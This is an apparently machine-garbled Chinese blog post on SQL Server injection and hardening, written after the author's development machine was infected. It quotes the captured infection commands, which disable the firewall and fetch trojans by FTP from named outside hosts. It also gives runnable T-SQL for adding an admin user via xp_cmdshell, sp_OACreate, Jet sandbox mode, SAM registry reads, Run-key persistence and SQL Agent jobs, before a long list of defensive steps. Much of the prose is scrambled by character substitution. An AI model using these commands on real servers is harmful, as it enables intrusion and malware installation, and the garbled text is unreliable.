sqlserver注入方式同安全预防的上学

   
自己的开发机经历了片次的着毒现像.每次中毒的现像,都是sqlserver.exe进程去履行cmd.com进程,然后变*.sys与*.bat鲜个公文,然后去用ftp.exe去下充斥木马下载器,然后杀毒软件开始报警了.

    下面是cmd.com执行命令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

   第一涂鸦中毒,之后,就本着sql server进行了增长,删除了”xp_cmdshell”这个sql
server中最好无安全之扩大存储过程.不过,好了未曾一个月份,又来吃同样浅.
  
这无异糟,我检查了数据库日志,xp_cmdshell并没回复,不过也于日记在发现了sp_oacreate与sp_oamethod两只存储过程的施行日志.
   于是上网学习,把好之读书之片物记录下来:
   1. 起码sql注入攻击
   初级黑客攻击SQL
Server时,首先以的措施是实践master数据库被之恢宏存储过程xp_cmdshell命令来实行有命令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程尽管可了.
   xp_cmdshell是一个许实施任意的授命行命令的嵌入的仓储过程。例如:
   Exec master..xp_cmdshell ‘dir’
   将收获SQLSERVER进程的脚下干活目录中之目列表。如图:

 

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上保有用户之列表。当SQLSERVER正常为体系帐户或域帐户运行时,攻击者可做出更重的祸害。

  
从点的星星独示范中得看来xp_cmdshell的强有力力量,功能的兵不血刃也意味破坏性的强大.
  
一般景象下,xp_cmdshell对领队来说吧是无必要的,xp_cmdshell的排除不见面对Server造成任何影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   如果需要的话,可以拿xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

   如果产生必要可以管xplog70.dll这个文件也去了,记得做好备份.

sql 2005:

    sql 2005默认情况下是不能够实施xp_cmdshell存储过程的,但随即虽高枕无忧了邪?

 
开启xp_cmdshell存储过程的推行权
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存储过程的执行权
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

 

 

  
删除了xplog70.dll以影响到”企业管理器”的一模一样有些功能,我遇上的是无力回天以”企业管理器”中查阅数据库服务器的属性.
   
   2.中级sql注入攻击
     我们进行了点就无异于步之操作下,就好防止住了sql
server的平安了啊?不行,这不得不对有些刚上学sql注入的菜鸟才行之法,对于中鸟及老鸟可很,他们之计而基本上矣.
     现在为我们来拘禁一下中注入的方法.
    
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也明令禁止了文本及传功能,那么对初级来说使用xp_cmdshell来进行局部操作就不可行了.
     但是微软还提供了有些其它功能的积存过程,可以为中黑客进行入侵.
     1) 利用OLE对象接口
      SQL
SERVER提供了部分函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以行使他们调用OLE控件,间接获一个
shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使SP_OAMETHOD调用@shell的性run执行命令。

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

    2) 开启access的沙盒模式
       在默认情况下Jet数据引擎不支持select shell(“net user ray ray
/add”)这样的SQL语句,
       但是打开了JET引擎的沙盒模式后即便好执行命令,
       先利用xp_regwrite存储过程改写注册表,然后用
OpenRowSet访问一个系本身由带的一个ACCESS数据库文件,再实践运行命令的SQL语句。

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

    SandBoxmode值说明
    默认值为2,
    0–表示一直禁用SandBoxmode模式,
    1–代表对非Acess应用程序试用SandBoxmode模式,
    2–象征对access应用程序使用SandBoxmode模式,
    3–则意味着完全翻开安全设置。

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

 
     3) 利用xp_regxxxxx之类的囤积过程写注册表项
    这个措施就发sa账户或sysadmin权限的款家才可以使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    如果遇上一个粗的管理人,说不定就能够获取管理员的密码.
    加一个起动项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接拿要推行之指令写入RUN启动项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

    如果有必要就把这些扩展都剔除了
    Xp_regaddmultistring (向注册表中增加品种)
    Xp_regdeletekey (从注册表中剔除一个键)
    Xp_regdeletevalue (从注册表中去除一个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去一个主键下的键值)
    Xp_regremovemultistring (从注册表中去除项目)
    Xp_regwrite (向注册表中描绘副数据)

    4 ) 利用SQL代理执行命令
      
默认情况下这服务是关门的.我们得先行运xp_servicecontrol开启SQLSERVERAGENT,然后植个SQL计划任务,然后就运行是任务。

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

  
 除了我举的地方四种艺术外,还闹任何方法,不过自己不绝了解,我便不一一列举了。

   三、其他取系统信息
    
    历通目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_subdirs ‘c:”‘
    列举可用之网分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是否存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不一一列举了.

    四、高级注入技术
       
对于高等级注入技术,我在网上没找到有关的读资料,我怀念这些技能吗该是以同等小有人群被传唱之。所以啊就得不到讲起了。

   五、防御SQL注入的部分要义及方
    1. 肯定就安装了windows操作系统和SQL Server的流行补丁程序。  
    2.
评估并且选择一个考虑到极致要命的安全性但是以以非影响意义的网络协议。
多协商是神之精选, 但是其有时不可知以异种的条件中动用。  
       说明:如果可能要除去不欲之网络协议。  
    3. 吃 “sa”
和颇具”sysadmin”权限的帐户设定强壮的密码来增强该安全性。至于什么是强壮的密码吗,个人觉得是字母、数字、特殊字符的成,不少八员字符。
    4. 应用一个低特权用户作为 SQL 服务器服务之询问操作账户,不要为此
LocalSystem 或sa。
       这个没有权限的帐户应该只有极端小的权限和限制这个帐户对SQL
Server的询问及存取操作。 用户可就此最好小权力查询sql
server中的多事物。若非必须毫无给多余的权位。
       注意:当用企业管理器做如上设置时 ,
文件,注册表和使用者权利及之权能处理。  

    5. 规定有的SQL服务器数据,而且系统文件是安装在 NTFS
分区,且”目录访问控制”被以。
      
如果万相同某人获针对性系的存取操作权限,该层权限可以阻碍入侵者破坏数据,避免造成同集市生灾难。
 

    6.如果你无欲 xp_cmdshell
那要停止用它。如果需要的话再把她长回来。
    其实这可啊不好
————一个侵入者如果发现其不以了,也仅仅需要将他加回来。考虑一下,可以除在下面的
dll但是移除之前要测试为微微dll同时深受有些序所用。
    要找到任何的次序是否使用相同之 dll请进行以下步骤:  
    首先得该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用同一之 dll发现另外的恢宏储存操作是否使用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户可据此平等的主意处理下步骤中任何你想去丢的经过。  

    7. 如不需要就停用对象连接与坐自动化储存程序 ( 警告 –
当这些囤积程序为停用的早晚 , 一些铺面管理器功能或有失).
这些囤积过程如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 如果你决定停用这些囤积过程,那么要为他俩写一个本子这样在之后你用到她们之早晚你能把他们更长回来

    8. 剥夺你莫需之注册表存储过程。(同地方的警示)这些连:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite这片独存储过程的移除影响部分第一职能包括日志与SP的安装,所以她们之移除不受推荐。
 

    9.移除别你道会导致威胁的体系储存过程。
这种囤过程是相当多之,而且她们呢会见浪费一些cpu时间。
    
小心不要首先在一个部署好之服务器上如此做。首先在付出之机器及测试,确认这样不会见潜移默化及外的系统功能。在底下是咱所推荐的有待你评估的有列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

    10. 除了数据库的guest账户,这样好拿未经许可的使用者排除在外。
例外情况是master和 tempdb 数据库,因为对他们guest帐户是不可或缺的。  

    11.
若非要,请了地剥夺SQL邮件功能。它的是而潜在的攻击者递送潜在的
trojans ,病毒或简单实现一个DOS攻击成为可能  

    12. 记录有的用户存取访问情况。
从店管理器做这些设定或通过为sa登陆进查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

    13. 建立一个计划的天职运行: 
  
 然后还重定向输出及一个文书文件或电子邮件,因此若监测失败的报到尝试。
    这也也系统管理员提供一个吓的笔录攻击的法子。
也闹多为此来分析NT日志事件的闲人工具。
    注意: 你或许用拿路径换成你安装SQL的不二法门。  

    14. 设定非法访问与登陆失败日志警报。到 企业管理器中之”Manager SQL
Server Messages “搜寻另外关于无权访问的信息
    ( 从寻找”login failed”和”denied”开始).
确定你所有感兴趣的信息让记录及事件日志。然后于这些信及设定警报 ,
发送一个电子邮件或信息及一个能针对题目立马响应的操作员。  

    15.
常常检查组或角色全体会员以确定用组分配权限,这样你的审计工作能够简化。
确定当你当的时光 , 公众的组不能够从系统表执行选择操作。  

    16. 消费来时间审计用空密码登陆的伸手。 使用下的代码进行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

    17. 检查有着非sa用户之存取进程与壮大存储进程的权能。
使用下的查询定期的询问哪一个进程来民众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

    18. 立马因此企业管理器的当儿,使用整合的安全策略。
过去,企业管理器被发现在业内的平安模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 即使你改变模态,密码为会养于注册表中。

sql 2000:

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默认值但是你或许曾经成立用户组因此相应地改成其位置)
 

 

sql 2005曾没有当注册表中写sqlew这个键了.

      

 

    19.
制定一个安核查计划,每月的一样份安全告知,对IT主管可用之表包括新的付出内容被开展的数据库修改,成功的攻击
, 备份保护 , 和目标存取失败统计。  

    20. 并非允许使用者交互式登陆到 SQL
Server之上。这个规则适用其他的服务器。
一旦一个使用者能交互式进入一个服务器中,就闹能够为此来得到管理员的存取特权得到管理员权限。
 

 

 最后就,对方怎么抱我之开支机上的动态IP的,这本身怎么为尚未想清楚.

 

 

 

 

相关文章